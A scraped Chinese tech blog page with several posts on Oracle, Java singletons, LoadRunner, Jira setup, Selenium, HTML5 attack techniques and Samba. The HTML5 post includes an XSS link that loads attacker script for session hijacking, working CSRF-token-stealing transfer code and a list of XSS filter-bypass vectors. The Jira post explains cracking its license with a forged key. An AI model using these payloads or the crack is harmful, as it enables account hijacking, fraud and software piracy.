<rt id="bn8ez"></rt>
<label id="bn8ez"></label>

  • <span id="bn8ez"></span>

    <label id="bn8ez"><meter id="bn8ez"></meter></label>

    qileilove

    blog已經轉移至github,大家請訪問 http://qaseven.github.io/

    Oracle數據庫冷備份的還原及emca重建資料庫

     刪除oracle數據庫中已經建立的數據庫,按照備份的oracle路徑重新安裝新建數據庫,路徑、數據庫SMID必須和原來的完全一致。
      停止所有的Oracle服務,到oracle安裝目錄下,把新建的數據庫刪除,把備份的文件夾復制進來。
      重新啟動oracle服務,此時可以通過sqlplus對數據庫進行相關的操作,但要使用EM(Enterprise Manager)對數據庫進行管理時會顯示“Enterprise Manager 無法連接到數據庫實例,下面列出了組件的狀態”的信息,此時EM無法正常使用。出現問題的原因很多,可以用emca重建資料庫解決。
      emca重建資料庫:
      用sqlplus登錄,刪除早期DBCONSOLE創建的用戶:
      SQL> dropuser sysman cascade;
      若正常的話會等待一段時間,可能會出現如下錯誤:
      =========================================================
      ERROR at line 1:
      ORA-06553: PLS-801: internal error [56319]
      =========================================================
      錯誤原因:用64位系統上的備份片將數據庫還原到32位系統中所產生,反過來也會產生此錯誤。
      解決方案:運行腳本用32位系統重新編譯一下內核參數即可
      SQL> shutdown immediate;
      SQL> startup upgrade;
      SQL> @?/rdbms/admin/utlirp.sql
      SQL> @?/rdbms/admin/utlrp.sql
      SQL> shutdown immediate;
      SQL> startup;
      其中:
      utlirp.sql的作用是把相關內容全部在32bit平臺下編譯一遍.
      utlrp.sql的作用是編譯所有失效對象.
      然后再重新連接,就不會報錯了。
      接下來繼續重建資料庫
      SQL> droprole MGMT_USER;
      SQL> dropuser MGMT_VIEW cascade;
      刪除早期DBCONSOLE創建的對象:
      SQL> droppublic synonym MGMT_TARGET_BLACKOUTS;
      SQL> droppublic synonym SETEMVIEWUSERCONTEXT;
      在配置oem時遇到“DBSNMP 用戶名或密碼無效”的錯誤,原因是DBSNMP系統用戶可能被鎖用,所以我們首先解鎖DBSNMP用戶。
      登錄:SQL> conn sys/密碼 as sysdba
      解鎖:SQL> alter user dbsnmp account unlock;
      提交:SQL> commit;
      修改密碼:SQL> alter user dbsnmp identified by 你的新密碼;
      提交:SQL> commit;
      注意:提交很重要,不然解鎖不會生效。
     開始重新創建資料庫,在命令行執行以下命令:
      [oracle@localhost~]emca -repos recreate
      此時如出現(一般不會出現)如下錯誤:
      =========================================================
      ORA-12526: TNS:listener: all appropriate instances are in restricted mode
      =========================================================
      意思是:連接oracle數據庫出現oracleORA-12526: TNS:監聽程序: 所有適用例程都處于受限模式。
      原因是之前改字符集時執行了:
      [oracle@localhost~]# ALTER SYSTEM ENABLE RESTRICTEDSESSION;
      導致受限
      解決辦法:使用系統管理員身份運行以下一段代碼
      [oracle@localhost~]# ALTER SYSTEM DISABLE RESTRICTEDSESSION;
      解決完以后再次執行:
      [oracle@localhost~]# emca -repos recreate
      此時會提示輸入相關參數,按照提示輸入即可,其中監聽程序端口號為: 1521 ,等待一小會時間,執行完畢以后再停止agent:
      [oracle@localhost~]# emctl stop agent
      最后開始重建資料庫:
      [oracle@localhost~]# emca -config dbcontrol db
      此時同樣會提示輸入相關參數,按照提示輸入即可,其中監聽程序端口號還是為為: 1521 ,其中通知的電子郵件地址 (可選)和通知的發件 (SMTP) 服務器 (可選)兩項可以不寫,直接按enter鍵。
      再次等待一小會時間,執行完畢以后重建資料庫成功,啟動Enterprise Manager:
      [oracle@localhost ~]# emctl start dbconsole
      在瀏覽器地址欄輸入:http://localhost:1158/em即可使用Enterprise Manager管理數據庫。若其他機器無法連接,關閉防火墻即可。

    posted @ 2014-04-22 18:36 順其自然EVO 閱讀(269) | 評論 (0)編輯 收藏

    Java模式設計之單例模式

     在Java程序設計中經常會用到單例模式,但是很多時候程序員卻不知道什么時候該使用單例模式,或者怎么使用單例模式。
      我們總結分析單例模式的時候,了解到單例模式的要點有三個:一是某個類只能有一個實例;二是它必須自行創建這個事例;三是它必須自行向整個系統提供這個實例。在下面的對象圖中,有一個"單例對象",而"客戶甲"、"客戶乙"和"客戶丙"是單例對象的三個客戶對象。可以看到,所有的客戶對象共享一個單例對象。而且從單例對象到自身的連接線可以看出,單例對象持有對自己的引用。
      單例模式在資源管理器中應用。
      一些資源管理器常常設計成單例模式。
      在計算機系統中,需要管理的資源包括軟件外部資源,譬如每臺計算機可以有若干個打印機,但只能有一個Printer Spooler, 以避免兩個打印作業同時輸出到打印機中。每臺計算機可以有若干傳真卡,但是只應該有一個軟件負責管理傳真卡,以避免出現兩份傳真作業同時傳到傳真卡中的情況。每臺計算機可以有若干通信端口,系統應當集中管理這些通信端口,以避免一個通信端口同時被兩個請求同時調用。
      需要管理的資源包括軟件內部資源,譬如,大多數的軟件都有一個(甚至多個)屬性(properties)文件存放系統配置。這樣的系統應當由一個對象來管理一個屬性文件。
      需要管理的軟件內部資源也包括譬如負責記錄網站來訪人數的部件,記錄軟件系統內部事件、出錯信息的部件,或是對系統的表現進行檢查的部件等。這些部件都必須集中管理,不可政出多頭。
      這些資源管理器構件必須只有一個實例,這是其一;它們必須自行初始化,這是其二;允許整個系統訪問自己這是其三。因此,它們都滿足單例模式的條件,是單例模式的應用。
      分析單例模式的結構。
      單例模式有以下的特點:
      1、單例類只可有一個實例。
      2、單例類必須自己創建自己這惟一的實例。
      3、單例類必須給所有其他對象提供這一實例。雖然單例模式中的單例類被限定只能有一個實例,但是單例模式和單例類可以很容易被推廣到任意且有限多個實例的情況,這時候稱它為多例模式(Multiton Pattern) 和多例類(Multiton Class)。
      由于Java 語言的特點,使得單例模式在Java 語言的實現上有自己的特點。這些特點主要表現在單例類如何將自己實例化上。
      餓漢式單例類
      這是在Java 語言里實現得最為簡便的單例類,下面所示的類圖描述了一個餓漢式單例類的典型實現。
      從圖中可以看出,此類已經自已將自己實例化。
      代碼清單1:餓漢式單例類
    public class EagerSingleton
    {
    private static final EagerSingleton m_instance =
    new EagerSingleton();
    /**
    * 私有的默認構造子
    */
    private EagerSingleton() { }
    /**
    * 靜態工廠方法
    */
    public static EagerSingleton getInstance()
    {
    return m_instance;
    }
    }
      讀者可以看出,在這個類被加載時,靜態變量m_instance 會被初始化,此時類的私有構造子會被調用。這時候,單例類的惟一實例就被創建出來了。
      Java 語言中單例類的一個最重要的特點是類的構造子是私有的,從而避免外界利用構造子直接創建出任意多的實例。值得指出的是,由于構造子是私有的,因此,此類不能被繼承。

     懶漢式單例類
      與餓漢式單例類相同之處是,類的構造子是私有的。與餓漢式單例類不同的是,懶漢式單例類在第一次被引用時將自己實例化。如果加載器是靜態的,那么在懶漢式單例類被加載時不會將自己實例化。如下圖所示,類圖中給出了一個典型的餓漢式單例類實現。
      代碼清單2:懶漢式單例類
    package com.javapatterns.singleton.demos;
    public class LazySingleton
    {
    private static LazySingleton
    m_instance = null;
    /**
    * 私有的默認構造子,保證外界無法直接實例化
    */
    private LazySingleton() { }
    /**
    * 靜態工廠方法,返還此類的惟一實例
    */
    synchronized public static LazySingleton
    getInstance()
    {
    if (m_instance == null)
    {
    m_instance = new LazySingleton();
    }
    return m_instance;
    }  }
      同樣,由于構造子是私有的,因此,此類不能被繼承。餓漢式單例類在自己被加載時就將自己實例化。即便加載器是靜態的,在餓漢式單例類被加載時仍會將自己實例化。單從資源利用效率角度來講,這個比懶漢式單例類稍差些。
      從速度和反應時間角度來講,則比懶漢式單例類稍好些。然而,懶漢式單例類在實例化時, 必須處理好在多個線程同時首次引用此類時的訪問限制問題,特別是當單例類作為資源控制器,在實例化時必然涉及資源初始化,而資源初始化很有可能耗費時間。這意味著出現多線程同時首次引用此類的機率變得較大。
      餓漢式單例類可以在Java 語言內實現, 但不易在C++ 內實現,因為靜態初始化在C++ 里沒有固定的順序,因而靜態的m_instance 變量的初始化與類的加載順序沒有保證,可能會出問題。這就是為什么GoF 在提出單例類的概念時,舉的例子是懶漢式的。他們的書影響之大,以致Java 語言中單例類的例子也大多是懶漢式的。實際上,本書認為餓漢式單例類更符合Java 語言本身的特點。
      使用單例模式必要條件:
      下面我們探討一下使用單例模式的必要條件。
      在一個系統要求一個類只有一個實例時才應當使用單例模式。反過來說,如果一個類可以有幾個實例共存,那么就沒有必要使用單例類。但是有經驗的讀者可能會看到很多不當地使用單例模式的例子,可見做到上面這一點并不容易,下面就是一些這樣的情況。
      例子一
      問:我的一個系統需要一些"全程"變量。學習了單例模式后,我發現可以使用一個單例類盛放所有的"全程"變量。請問這樣做對嗎?
      答:這樣做是違背單例模式的用意的。單例模式只應當在有真正的"單一實例"的需求時才可使用。
      一個設計得當的系統不應當有所謂的"全程"變量,這些變量應當放到它們所描述的實體所對應的類中去。將這些變量從它們所描述的實體類中抽出來,放到一個不相干的單例類中去,會使得這些變量產生錯誤的依賴關系和耦合關系。
      例子二
      問:我的一個系統需要管理與數據庫的連接。學習了單例模式后,我發現可以使用一個單例類包裝一個Connection對象,并在finalize()方法中關閉這個Connection對象。這樣的話,在這個單例類的實例沒有被人引用時,這個finalize() 對象就會被調用,因此,Connection 對象就會被釋放。這多妙啊。
      答:這樣做是不恰當的。除非有單一實例的需求,不然不要使用單例模式。在這里Connection 對象可以同時有幾個實例共存,不需要是單一實例。
      單例模式有很多的錯誤使用案例都與此例子相似,它們都是試圖使用單例模式管理共享資源的生命周期,這是不恰當的。
      下面簡單說一下,筆者現在學習安卓,寫了一個很小的音樂播放播放器,自己寫了一個application。Application和Actovotu,Service一樣是android框架的一個系統組件,當android程序啟動時系統會創建一個 application對象,用來存儲系統的一些信息。通常我們是不需要指定一個Application的,這時系統會自動幫我們創建,如果需要創建自己的Application,也很簡單創建一個類繼承 Application并在manifest的application標簽中進行注冊(只需要給Application標簽增加個name屬性把自己的 Application的名字定入即可)
    package com.frewen.ttplayer;
    importjava.util.ArrayList;
    importjava.util.LinkedList;
    importjava.util.List;
    importandroid.app.Activity;
    importandroid.app.Application;
    importandroid.content.Context;
    importandroid.graphics.Bitmap;
    importandroid.graphics.BitmapFactory;
    importandroid.media.MediaPlayer;
    importandroid.util.Log;
    import com.frewen.ttplayer.entry.Music;
    import com.frewen.ttplayer.entry.impl.Musicdata;
    import com.frewen.ttplayer.util.MusicPreference;
    public classMyApplication extends Application {
    public static MediaPlayer mediaPlayer;
    public static MusicPreferencemusicPreference;
    public static ArrayList<Music> musics= new ArrayList<Music>();
    public static boolean isStart = false;
    public List<Activity> activityList =new LinkedList<Activity>();
    public static Bitmap bitmap_l;
    public static Bitmap bitmap_s;
    public static MyApplication instance;
    public ArrayList<Music> getMusics() {
    return musics;
    }
    public static Context context;
    @Override
    public void onCreate() {
    super.onCreate();
    context = getApplicationContext();
    new Thread(new Runnable() {
    @Override
    public void run() {
    setMusics(Musicdata.getMultiDatas(context));
    bitmap_l = BitmapFactory.decodeResource(context.getResources(),
    R.drawable.default_bg_l);
    bitmap_s =BitmapFactory.decodeResource(context.getResources(),
    R.drawable.default_bg_s);
    }
    }).start();
    mediaPlayer = new MediaPlayer();
    musicPreference = new MusicPreference(context);
    }
    public void setMusics(ArrayList<Music>ms) {
    musics.clear();
    musics = ms;
    Log.i("test", "列表長度" + this.musics.size());
    }
    public MyApplication() {
    }
    // 單例模式中獲取唯一的MyApplication實例
    public static MyApplication getInstance() {
    if (null == instance) {
    instance = new MyApplication();
    }
    return instance;
    }
    // 添加Activity到容器中
    public void addActivity(Activity activity) {
    activityList.add(activity);
    }
    // 遍歷所有Activity并finish
    public void exit() {
    for (Activity activity : activityList) {
    activity.finish();
    }
    System.exit(0);
    }
    /**
    * 向musics集合中追加一組miusic信息
    *
    *@param musics
    */
    public void append(ArrayList<Music>musics) {
    if (musics != null) {
    this.musics.addAll(musics);
    }
    }
    public void append(Music music) {
    if (music != null) {
    this.musics.add(music);
    }
    }
    }
      android系統會為每個程序運行時創建一個Application類的對象且僅創建一個,所以Application可以說是單例 (singleton)模式的一個類.application對象的生命周期是整個程序中最長的,它的生命周期就等于這個程序的生命周期。因為它是全局的單例的,所以在不同的Activity,Service中獲得的對象都是同一個對象。所以通過Application來進行一些,數據傳遞,數據共享等,數據緩存等操作。

    posted @ 2014-04-22 18:32 順其自然EVO 閱讀(338) | 評論 (0)編輯 收藏

    LoadRunner中log的使用總結

     1、log的設置方式。
      在 runtime setting中可以設置log的生成方式:
      默認的log方式:
      Enable logging選中,log option是Send messages only when an error occurs.
      可以修改日志的方式:
      Always send messages(這種方式會一直打印輸出日志,不僅在錯誤時)
      standard log——記錄所有的請求反饋的日志,包括successful和fail的日志。
      Extended log——可提供擴展的日志信息,包括
      Parameter subsititution——日志中打印所有中使用的參數值。
      Data returned by server——日志中打印每個客戶端請求服務器返回的數據值
      Advanced trace——日志中打印所有的消息信息和函數執行信息
      2、log的存儲方式
      log的存儲路徑在res文件夾下。
      如果是從腳本中直接關聯create scenario則在腳本的目錄下的res下。如果是直接create scenario然后再選擇腳本的話,則存儲在c盤,如“C:\Documents and Settings\USERNAME\Local Settings\Temp\res\log”
      具體該場景的日志結果存哪,可以查看controll的result界面的result setting定義的目錄。
      根據不同的log記錄級別,在log文件中記錄日志。
      3、log信息的分析
      1)從log中得到虛擬用戶失敗的原因。
      通常如果場景在運行時出現用戶失敗,則先要查看錯誤原因,可直接查看日志,從日志中查看ERROR的信息;
      從outputdb中可以查看到錯誤代碼ERROR CODE
      2)從日志中確認每次分配給虛擬用戶的參數值
      想判斷是否在場景中每個用戶使用不同的或預定義規則的參數,可以通過在log生成規則處設定為parameter subsititution,然后查看每個日志文件中的對應行參數值是否為預計的參數值。可從此判斷出是否同用戶的實際使用類似,是否達到對服務器的壓力策略。
      3)從日志中確認服務器端返回的值是什么。
      在腳本中通常設定了檢查點,檢查點策略是否生效,如果對此產生懷疑則可以考慮從日志中查看一下。查看服務器返回的值來驗證是不是所期待得到的值。
      思考問題
      log的輸出 會不會影響到客戶端,會不會使客戶端成為瓶頸?(認為是會的,任何程序都是要消耗資源的,loadrunner也一樣,所以選取日志輸出的模式是要謹慎考慮盡量以適用為前提)

    posted @ 2014-04-22 18:31 順其自然EVO 閱讀(622) | 評論 (0)編輯 收藏

    Linux平臺部署jira

     環境:Linux+jdk+atlassian-jira-enterprise-4.0.2-standalone+mysql
      一、安裝、配置jdk
      1、安裝jdk
      chmod +x jdk-6u21-linux-i586.bin
      ./jdk-6u21-linux-i586.bin
      mv jdk1.6.0_21 /usr/local/jdk
      2、設置jdk環境
    vi /etc/profile
    JAVA_HOME=/usr/local/jdk
    JRE_HOME=/usr/local/jdk/jre
    CLASSPATH=.:$JAVA_HOME/lib/tools.jar:$JAVA_HOME/lib/dt.jar
    PATH=$JAVA_HOME/bin:$PATH
    export JAVA_HOME
    export JRE_HOME
    export PATH
    export CLASSPATH
    source /etc/profile
      二、安裝mysql、及相應配置
      mysql安裝步驟忽略。下面說下部署jira的前mysql上的相關設置
      創建jiradb庫    mysql> create database jiradb character set utf8;
      添加一個用戶,名為jira_user密碼為1qaz@WSX,并賦予連接權限
      mysql> grant all privileges on *.* to 'jira_user'@'%' identified by '1qaz@WSX ' with grant option;
      mysql> grant all privileges on *.* to ‘jira_user’@localhost identified by '1qaz@WSX ' with grant option;
      mysql> flush privileges;
      三、安裝jira
      1)tar zxvf atlassian-jira-enterprise-4.0.2-standalone.tar.gz
      mv atlassian-jira-enterprise-4.0.2-standalone /usr/local/jira
      2) 解壓mysql-connector-java-5.0.8.tar.gz,
      將目錄里的mysql-connector-java-5.0.8-bin.jar 文件拷到 /usr/local/jira/common/lib/ 目錄下
      3) 編輯conf/server.xml
    <Server port="8015" shutdown="SHUTDOWN">
    <Service name="Catalina">
    <Connector port="8090"
    <Context path="" docBase="${catalina.home}/atlassian-jira" reloadable="false">
    <Resource name="jdbc/JiraDS" auth="Container" type="javax.sql.DataSource"
    username="jira_user"
    password="1qaz@WSX"
    driverClassName="com.mysql.jdbc.Driver" url="jdbc:mysql://192.168.170.102/jirad
      [刪除這里的minEvictableIdleTimeMillis and timeBetweenEvictionRunsMillis 參數]/>
      4)編輯 jira374/atlassian-jira/WEB-INF/classes/entityengine.xml, 改變 field-type-name 屬性為mysql
      <datasource name="defaultDS" field-type-name="mysql"
      刪除schema-name="PUBLIC"
      5)進入/usr/local/jira/atlassian-jira/WEB-INF/classes 目錄下修改文件jira-application.properties ,設置jira.home = /usr/local/jira
      6) 啟動jira
      進入bin目錄
      ./catalina.sh start
      ./startup.sh
      四、破解
      下載jira破解包,將破解包里的東西解壓后覆蓋掉原來的,重啟jira,在注冊的授權碼中就可以使用明文注冊了如下:
    Description=JIRA\: COMMERCIAL
    CreationDate=2009-10-25
    ContactName=haha@haha.haha
    jira.LicenseEdition=ENTERPRISE
    ContactEMail=haha@haha.haha
    Evaluation=false
    jira.LicenseTypeName=COMMERCIAL
    jira.active=true
    licenseVersion=2
    MaintenanceExpiryDate=2099-10-24
    Organisation=haha
    jira.NumberOfUsers=-1
    ServerID=B6FW-B4KW-J1A3-4DQB
    LicenseID=LID
    LicenseExpiryDate=2099-10-24
    PurchaseDate=2009-10-25
      五、漢化
      我在部署過程中遇到漢化無效果的情況,原因是漢化跟系統自身的語言環境有關,系統語言環境一定要支持中文,漢化包自己去網上搜下就能找到。
      將language_ZH漢化包cp至/usr/local/jira/atlassian-jira/WEB-INF/lib
      重啟jira

    posted @ 2014-04-22 14:00 順其自然EVO 閱讀(212) | 評論 (0)編輯 收藏

    Selenium如何選中某個checkbox

    #選中某個checkbox
    #第一種方法用xpath
    checkboxs = bigc_Driver.find_elements_by_xpath("http://input[@type='checkbox']")
    #第二種方法用tag_name
    #checkboxs = bigc_Driver.find_elements_by_tag_name("input")
    print len(checkboxs)
    for a in checkboxs:
    if a.get_attribute('value')=='1':
    a.click()
      執行結果:
      簡要概述:
      這兩種方法都可以,但是通過xpath查找的數量是3,而通過tag_name查找的數量是35,顯然通過xpath更加精確點。
      這里使用到了循環,將所有的復核條件的checkbox取出來,然后將第一條記錄勾選。

    posted @ 2014-04-22 14:00 順其自然EVO 閱讀(648) | 評論 (0)編輯 收藏

    揭密HTML5帶來的攻擊手法

     HTML5 是下一代的 HTML,HTML5賦予網頁更好的意義和結構。更加豐富的標簽將隨著對RDFa的,微數據與微格式等方面的支持,構建對程序、對用戶都更有價值的數據驅動的Web。基于HTML5開發的網頁APP擁有更短的啟動時間,更快的聯網速度。本文詳細介紹了HTML5的普及,帶來的新的安全威脅。
      一:CORS(Cross-Origin Resource Sharing) 跨域資源共享
      為了構建高品質的網站,以及滿足日益增長的用戶需求,HTML5針對SOP(同源策略)放寬了一些限制,簡單的說,同源策略允許來自同一站點的頁面訪問其頁面的方法和屬性等,但限制了跨域調用其他頁面的方法和屬性。現在HTML5放寬了這些限制,XMLHttpRequest Level 2新增了功能CORS協議,允許Ajax發起跨域的請求,瀏覽器是可以發起跨域請求的,比如你可以外鏈一個外域的圖片或者腳本。但是Javascript腳本是不能獲取這些資源的內容的,它只能被瀏覽器執行或渲染。
      COR是頁面層次的控制模式。每一個頁面需要返回一個名為‘Access-Control-Allow-Origin’的HTTP頭來允許外域的站點訪問。你可以僅僅暴露有限的資源和有限的外域站點訪問。在COR模式中,訪問控制的職責可以放到頁面開發者的手中,而不是服務器管理員。當然頁面開發者需要寫專門的處理代碼來允許被外域訪問。
      所以只要b.com允許,a.com可以使用ajax獲取A上任意數據,國外安全研究者Lava Kumar開發了一款工具“Shell of the future”。
      Shell of the Future 是一個反向Web Shell處理工具(Reverse Web Shell handler)。利用跨站腳本攻擊或瀏覽器地址欄注入javascript以后,Shell of the Future可進行劫持會話。 它利用了HTML5支持的Cross Origin Requests,可以繞過一些反會話劫持的方法,如HTTP-Only限制的cookie,幫定IP地址的會話ID。
      如何使用該工具:
      1、下載并解壓該工具,雙擊“Shell of the Future.exe”,會彈出一個窗口。
      2、輸入任意端口,點擊“Start”。

    3、使用瀏覽器訪問http://127.0.0.1:8008/sotf.console (firefox效果最佳)
      4、不出問題,你將看到以下畫面。(Shell of the Future有兩個JavaScript的exp- e1.js和e2.js,我們可以利用XSS漏洞將其嵌入到受害者的瀏覽器)
      5、當一個用戶登錄下面的測試網站:
      http://www.testfire.net/bank/login.aspx (admin/admin)
      該站點的搜索功能粗在一個XSS漏洞,http://www.testfire.net/search.aspx?txtSearch=%3Cscript%3Ealert%2812%29%3C%2Fscript%3E
      6、攻擊者發送一個惡意鏈接給用戶,如下:
      http://www.testfire.net/search.aspx?txtSearch=%3Cscript%20src=%22http://127.0.0.1:8008/e1.js%22%3E%3C/script%3E
      7、當用戶點擊之后,攻擊者的IP地址將會發送給攻擊者,然后點擊“Hijack Session”:
      8、點擊Hijack Session之后,將出現如下畫面:
      二:竊取CSRF令牌(token)
      目前很多互聯網站點都在使用token來防御CSRF攻擊,但是隨著HTML5技術的普及,攻擊者很有可能竊取到CSRF的token,如果CSRF token的請求URL(GET請求),利用前面提到的CORS協議,攻擊者可以注入一個CSRF payload跨域請求到目標站點上。當然,利用的話需要服務端添加一個HTTP 頭字段“origin”,并且需要設置該屬性withCredentials為true,讓我們來看看如何利用:
      1、某用戶登錄www.bank.com。
      2、假設該站點有CSRF保護,即在表單提交的地方添加了隱藏的token,然后發送GET請求到服務端進行驗證,如下:
      <input type=”hidden” id=”test” name=”csrfToken” value=”12345678″ />
      請求如下:
      http://www.bank.com/Confirmation.jsp?value=200&csrfToken=1234234523
      3、攻擊者通過email、IM聊天工具或其他方式發送一個惡意站點ww.attackersite.com
      4、攻擊者可以提交一個Ajax請求到www.bank.com并且執行一些操作,但是需要知道CSRF的token值。
      5、所以攻擊者需要竊取到token令牌,然后進行CSRF攻擊。
      6、攻擊者編寫了下面的一段代碼,發送Ajax請求到ConfirmTransfer.jsp頁面并接受其響應,在返回的數據包中搜索csrfToken,找到后,另外一個Ajax請求被發送,其中包含了CSRF token。
    <!DOCTYPE html> <html> <head> <script> function testing() { var xmlhttp; if (window.XMLHttpRequest) { xmlhttp=new XMLHttpRequest(); } else { xmlhttp=new ActiveXObject("Microsoft.XMLHTTP"); } xmlhttp.open("GET","http://bank/Myapp/ConfirmTransfer.jsp",false); xmlhttp.send(); if(xmlhttp.status==200) { var str=xmlhttp.responseText; var n=str.search("csrfToken"); var final=str.substring(n+18,n+28); var url = "http://bank/Myapp/TransferFund.jsp?datum1%2F=06-06-2013&amp;Account=1234&amp;csrfToken=" + escape(final); xmlhttp.open("GET", url, true); xmlhttp.send(); } } </script> </head> <body onload="testing();"> </body> </html>
      以上的一切操作全在后臺進行,用戶完全不知情,因此,在HTML5中,攻擊者完全可能獲取到CSRF TOKEN和執行一些操作。

      三:訪問內部服務器:
      很多互聯網公司除了有ONLINE對外的業務之外,在內部也用著很多的應用,如財務管理系統、員工管理系統以及其他的一些內部社區等,很多開發者為了各個應用之間調用簡潔方便,在很多應用中都添加了以下頭:
      Control-Allow-Origin: *
      攻擊者可以利用社會工程學,讓內部用戶點擊一個鏈接,然后攻擊者就可以訪問到內部的一些資源,以下為操作步驟:
      1、員工登錄到內部的某應用,如www.internalurl.com
      2、internalurl服務器返回的響應頭設置了Access-Control-Allow-Origin: *(允許任何域發起的請求都可以獲取當前服務器的數據。)
      3、員工受到一封郵件,點擊了鏈接 – www.malicioussite.com
      4、這個站點包含了正常的UI內容,所以員工一般不會察覺,但是,該頁面包含了一段javascript代碼。
      5、該javascript代碼會發送一個XMLHttpRequest請求。
      6、分析返回的數據包,并把它發送到攻擊者的服務器。
      7、攻擊者獲取到公司內部站點的相關信息。
      四:HTML5新的XSS攻擊載體
      直到現在,還有很多開發者總喜歡開發自己定義的XSS黑名單過濾器,以阻止XSS攻擊,包含了大多網絡上常見的XSS利用的代碼,如<img、<script等,HTML5中引入了很多新的標簽屬性,如audio和vedio標簽,新的標簽帶來了新的事件,會繞過現有的過濾器,以下為收集的HTML5存在跨站的標簽:
      <video> <source onerror=”javascript:alert(1)”> <video onerror=”javascript:alert(1)”><source> <audio onerror=”javascript:alert(1)”><source> <input autofocus onfocus=alert(1)> <select autofocus onfocus=alert(1)> <textarea autofocus onfocus=alert(1)> <keygen autofocus onfocus=alert(1)> <button form=test onformchange=alert(2)>X <form><button formaction=”javascript:alert(1)”
      關于XSS的防護可參考freebuf上jiayzhan的XSS解決方案系列文章。
      XSS解決方案系列之一:淘寶、百度、騰訊的解決方案之瑕疵
      XSS解決方案系列之二:知其所以然—瀏覽器是如是解碼的
      XSS解決方案系列之三: 例解過后,再回首您正在維護的產品
      XSS解決方案系列之四:關于編碼
      五:離線Web應用緩存中毒:
      大部分瀏覽器都支持HTML離線緩存技術,如Google Chrome, Mozilla, Opera以及Safari,在給用戶帶來便捷的同時,也引發了一些列的安全威脅,如很有可能遭受“緩存中毒”的攻擊。如果攻擊者在網站上嵌入特定的JS文件,能夠控制用戶的賬戶。HTML5提供了manifest功能,它是html5提供的離線web應用解決方案,它的作用有兩個:
      1. 連網情況下,訪問使用manifest的頁面時(之前曾經訪問過),會先加載一個manifest文件,如果這個manifest文件沒有改變,頁面相關的資源便都來自瀏覽器的離線緩存,不會再有額為的網絡請求,從而大大提高頁面相應時間
      2. 斷網時,在瀏覽器地址欄輸入頁面url,仍然能夠正常顯示頁面,以及正常使用不依賴ajax的功能
      利用這個功能,攻擊者可以竊取用戶的憑據,利用方法如下:
      1、某黑木耳在星巴克鏈接到了一個不安全的WI-FI網絡環境。(攻擊者打造)
      2、該黑木耳登錄新浪微博,攻擊者可劫持。
      3、攻擊者設置該網站返回一個頁面,該頁面包含了一個隱藏的iframe,提示新浪微博登陸。
      4、由于該網絡是由攻擊者控制,所以他提供的新浪微博登陸頁面中包含了manifest屬性,除了可以當場劫持到黑木耳的微博帳號密碼之外,后面還可以長期劫持。
      5、當黑木耳喝完老干媽牌拿鐵之后,拿著心愛的神舟牌筆記本回家之后,想繼續曬自己的照片,繼續登錄微博。
      6、瀏覽器會從緩存中載入偽造的登錄頁面。
      7、帳號密碼隨后會發送到攻擊者。
      因此,通過manifest屬性可以竊取用戶的憑據,以上都是一些已經研究出來的攻擊手法,相信隨著HTML5的高度發展,未來幾年內會出現更多的攻擊手法。

    posted @ 2014-04-22 13:59 順其自然EVO 閱讀(280) | 評論 (0)編輯 收藏

    測試人必備的5類測試輔助工具

    阿基米德說:“給我一根杠桿和一個支點,我將撬起整個地球” -這就是工具的力量。
      我們常常在DiggerPlus上分享各種性能測試工具,自動化測試工具,安全滲透測試工具等,但是我們今天要分享的這5款工具,對于測試人的日常工作來說也非常重要,而且也非常常用,重新提起他們,是因為他們很多時候被我們忽略了。
      測試人必備的5類測試輔助工具
      測試工具
      下面,我們將羅列出這5類測試輔助工具,不要感到驚訝,確實,他們就在每一位測試人身邊:
      1. Excel
      2. 截圖工具
      3. 打包/壓縮解壓縮工具
      4. 便簽軟件
      5. 傳統的筆和紙
      Excel
      是的,目前,我們還沒有發現一款工具能像excel這樣適合做測試輔助工具,我們常常用它來存放我們的測試用例等,excel有著天然的優勢:
      測試人必備的5類測試輔助工具
      
    熟悉的Excel
     1. excel的行列格式非常適用于我們組織測試需求,測試用例和填寫bug記錄。
      2. excel的函數功能,圖形功能非常強大,我們常常用它來組織一些性能測試數據,并在excel中生成性能數據曲線。
      3. excel的sheet可以創建多個,讓我們可以很方便地對內容進行分類。
      4. 許多測試管理工具直接可以支持excel數據的導入導出。
      屏幕捕捉工具
      在重現bug的時候,很難描述清楚一些復雜的操作過程,這個時候善于利用屏幕捕獲工具是一件很稱心的事情,
      這里我們推薦snagit
      當然,你也可以使用我們之前分享的一些有趣的新工具,比如這款:
      Screentogif
      熟悉打包命令,壓縮解壓縮工具
      對于winrar等工具,各位測試人應該再熟悉不過了,在linux端經常做測試的童鞋應該也要擅長和熟知tar工具,常用的打包工作是測試人必備的技能,比如將日志打印打包,將各種記錄打包等。
      便簽工具
      我們常常看到測試人的屏幕上貼著各種各樣五顏六色的便簽,當然了,這些是用便簽軟件生成的,便簽軟件在網路上隨處可見,但是經常保持這個好習慣可以讓你的思路更加清晰,很多時候,做事情也更加具有條理一些。
      傳統的筆和紙
      傳統的筆和紙
      對的,你沒有看錯,這不是一種過時的工具,筆和紙永遠是促進人類文明的好工具,當我們在構思性能測試場景的時候你會派上用場的,相信我,甚至在開發測試框架,測試工具的時候,你需要做的就是把你的思路寫出來或者畫出來,我們的大腦就是這樣的神奇。
      不要小看了這5類簡單的測試輔助工具,用好他們是不易的。

    posted @ 2014-04-22 13:58 順其自然EVO 閱讀(226) | 評論 (0)編輯 收藏

    Linux環境下搭建samba服務

     1.建立samba用戶
      用root用戶,執行以下命令:
      useradd -d /home/samba -m -U
      chown -R samba:samba /home/samba
      2.配置samba
      2.1用root用戶,執行以下命令:
    setsebool -P samba_domain_controller on
    setsebool -P samba_enable_home_dirs on
      2.2修改/etc/samba/smb.conf文件:
      2.2.1 修改語言配置,讓samba支持中文文件名
      查找[global],在[global]這一行下面增加下面的內容
    # ----------------------- Language settings -------------------------
    display charset = cp936
    dos charset = cp936
    unix charset = cp936
      2.2.2查找[homes],找到[homes]的配置段,將該段配置修改為
    comment = Home Directories
    browseable = no
    writable = yes;
    valid users = %S;
    valid users = MYDOMAIN\%S;
      3.增加samba用戶
      用root用戶,執行smbpasswd -a samba,會提示輸入新密碼。
      4.修改linux系統語言
      編輯/etc/sysconfig/i18n文件,將文件內容修改為以下內容:
    LANG="zh_CN.gb18030"
    LANGUAGE="zh_CN.GB18030:zh_CN.GB2312:zh_CN"
    SUPPORTED="zh_CN.GB18030:zh_CN.GB2312:zh_CN.UTF-8:zh:en_US.UTF-8:en_US:en:ja_JP.UTF-8:ja_JP:ja"
      5.重啟samba
      用root用戶,執行: service samba reboot
      6.在windows中訪問共享文件夾
